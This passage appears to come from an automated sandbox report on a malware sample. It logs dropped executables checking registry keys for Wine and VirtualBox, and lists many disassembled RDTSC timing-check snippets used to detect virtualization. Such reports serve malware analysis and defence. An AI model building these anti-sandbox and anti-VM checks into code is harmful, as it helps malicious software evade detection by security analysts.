Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File opened: HKEY_CURRENT_USER\Software\Wine Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008411001\22a4a09ee3.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008412001\8c3bfc0f85.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1008414001\99fdcf0a11.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Tries to detect virtualization through RDTSC time measurements
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1EF1D9 second address: 1EF1EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC2Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35A738 second address: 35A749 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jnc 00007F06147E5FF6h 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35A749 second address: 35A757 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35A757 second address: 35A75B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36F1EF second address: 36F237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F061450AC2Dh 0x0000000d popad 0x0000000e jng 00007F061450AC32h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jbe 00007F061450AC26h 0x0000001d jmp 00007F061450AC30h 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36F237 second address: 36F23B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36F23B second address: 36F25E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36F25E second address: 36F283 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6009h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007F06147E5FF8h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36F40B second address: 36F41D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 ja 00007F061450AC26h 0x0000000e push edi 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36F41D second address: 36F443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 jg 00007F06147E601Ah 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F06147E6008h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36F443 second address: 36F447 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36F583 second address: 36F58E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F06147E5FF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36F86B second address: 36F875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F061450AC26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 372520 second address: 372524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 372992 second address: 37299C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F061450AC2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 37299C second address: 3729D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jns 00007F06147E5FFAh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007F06147E6000h 0x00000016 mov eax, dword ptr [eax] 0x00000018 pushad 0x00000019 jmp 00007F06147E6002h 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 384303 second address: 384309 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 384309 second address: 38430F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 38430F second address: 384313 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 394078 second address: 39407F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3662E1 second address: 3662EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F061450AC26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3925DF second address: 39263B instructions: 0x00000000 rdtsc 0x00000002 js 00007F06147E5FF6h 0x00000008 jmp 00007F06147E5FFBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F06147E5FFEh 0x00000015 pushad 0x00000016 popad 0x00000017 push esi 0x00000018 pop esi 0x00000019 push edi 0x0000001a pop edi 0x0000001b popad 0x0000001c pop ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007F06147E5FFFh 0x00000025 pushad 0x00000026 popad 0x00000027 pushad 0x00000028 popad 0x00000029 popad 0x0000002a push esi 0x0000002b jmp 00007F06147E6005h 0x00000030 push ebx 0x00000031 pop ebx 0x00000032 pop esi 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3927AC second address: 3927C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F061450AC2Eh 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 392AB3 second address: 392AB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 392AB7 second address: 392ABB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 392ABB second address: 392AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 392AC1 second address: 392AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 392AC7 second address: 392ADB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jns 00007F06147E5FF6h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F06147E5FF6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 392ADB second address: 392ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 392C6D second address: 392C71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 392F1E second address: 392F37 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F061450AC26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F061450AC2Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 385A13 second address: 385A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 385A17 second address: 385A27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F061450AC2Eh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 385A27 second address: 385A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 385A2B second address: 385A3C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F061450AC2Ch 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 385A3C second address: 385A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 367E11 second address: 367E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3937BC second address: 3937C6 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F06147E6015h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 393EE6 second address: 393EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 393EEC second address: 393EF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 393EF4 second address: 393F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F061450AC34h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 399B69 second address: 399B89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6005h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 399B89 second address: 399B94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F061450AC26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 399B94 second address: 399B9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39A1AA second address: 39A1AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39A1AE second address: 39A1D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6007h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39A1D2 second address: 39A1D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39A1D6 second address: 39A1DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39A1DA second address: 39A1E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39A1E0 second address: 39A1E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39A1E5 second address: 39A1F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d pushad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39A1F6 second address: 39A1FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39A2D1 second address: 39A2D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 385A35 second address: 385A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39EA6E second address: 39EA78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007F061450AC26h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39EBFC second address: 39EC02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39EC02 second address: 39EC0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39EC0D second address: 39EC11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39EC11 second address: 39EC19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39ED64 second address: 39ED73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F06147E5FF6h 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39ED73 second address: 39ED80 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F061450AC26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39EFF5 second address: 39F001 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F06147E5FF6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39F001 second address: 39F00C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F061450AC26h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39F344 second address: 39F348 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 39F348 second address: 39F350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A0AF5 second address: 3A0AF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A0AF9 second address: 3A0AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A1048 second address: 3A1053 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A16A5 second address: 3A16DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC38h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F061450AC2Fh 0x00000010 jbe 00007F061450AC2Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A1D22 second address: 3A1D26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A2740 second address: 3A2746 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A2746 second address: 3A27E8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F06147E5FFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F06147E5FF8h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push eax 0x0000002c call 00007F06147E5FF8h 0x00000031 pop eax 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 add dword ptr [esp+04h], 00000016h 0x0000003e inc eax 0x0000003f push eax 0x00000040 ret 0x00000041 pop eax 0x00000042 ret 0x00000043 sub edi, dword ptr [ebp+122D3700h] 0x00000049 push 00000000h 0x0000004b push 00000000h 0x0000004d push edi 0x0000004e call 00007F06147E5FF8h 0x00000053 pop edi 0x00000054 mov dword ptr [esp+04h], edi 0x00000058 add dword ptr [esp+04h], 0000001Ah 0x00000060 inc edi 0x00000061 push edi 0x00000062 ret 0x00000063 pop edi 0x00000064 ret 0x00000065 jmp 00007F06147E5FFEh 0x0000006a push eax 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007F06147E6001h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A27E8 second address: 3A27ED instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A37A8 second address: 3A383E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F06147E5FF8h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov dword ptr [ebp+122D20B1h], ecx 0x00000029 push 00000000h 0x0000002b add esi, 05D2826Ah 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push edx 0x00000036 call 00007F06147E5FF8h 0x0000003b pop edx 0x0000003c mov dword ptr [esp+04h], edx 0x00000040 add dword ptr [esp+04h], 00000016h 0x00000048 inc edx 0x00000049 push edx 0x0000004a ret 0x0000004b pop edx 0x0000004c ret 0x0000004d jmp 00007F06147E6005h 0x00000052 xchg eax, ebx 0x00000053 push eax 0x00000054 jmp 00007F06147E6006h 0x00000059 pop eax 0x0000005a push eax 0x0000005b pushad 0x0000005c jbe 00007F06147E5FF8h 0x00000062 push ebx 0x00000063 pop ebx 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A4185 second address: 3A418C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A57B4 second address: 3A57B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A554C second address: 3A556C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jp 00007F061450AC31h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A619A second address: 3A619E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A619E second address: 3A61BD instructions: 0x00000000 rdtsc 0x00000002 jc 00007F061450AC2Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jno 00007F061450AC2Ch 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A5F68 second address: 3A5F8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F06147E6008h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A5F8B second address: 3A5FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC38h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A627D second address: 3A6290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E5FFFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6C9D second address: 3A6CA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6CA3 second address: 3A6D20 instructions: 0x00000000 rdtsc 0x00000002 js 00007F06147E5FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push edi 0x00000012 call 00007F06147E5FF8h 0x00000017 pop edi 0x00000018 mov dword ptr [esp+04h], edi 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc edi 0x00000025 push edi 0x00000026 ret 0x00000027 pop edi 0x00000028 ret 0x00000029 movsx esi, ax 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push ebp 0x00000031 call 00007F06147E5FF8h 0x00000036 pop ebp 0x00000037 mov dword ptr [esp+04h], ebp 0x0000003b add dword ptr [esp+04h], 0000001Ah 0x00000043 inc ebp 0x00000044 push ebp 0x00000045 ret 0x00000046 pop ebp 0x00000047 ret 0x00000048 mov dword ptr [ebp+1245305Ch], ecx 0x0000004e push 00000000h 0x00000050 mov esi, dword ptr [ebp+122D1B29h] 0x00000056 xchg eax, ebx 0x00000057 jg 00007F06147E6000h 0x0000005d push eax 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A6D20 second address: 3A6D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F061450AC26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3AA521 second address: 3AA525 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A763C second address: 3A7641 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
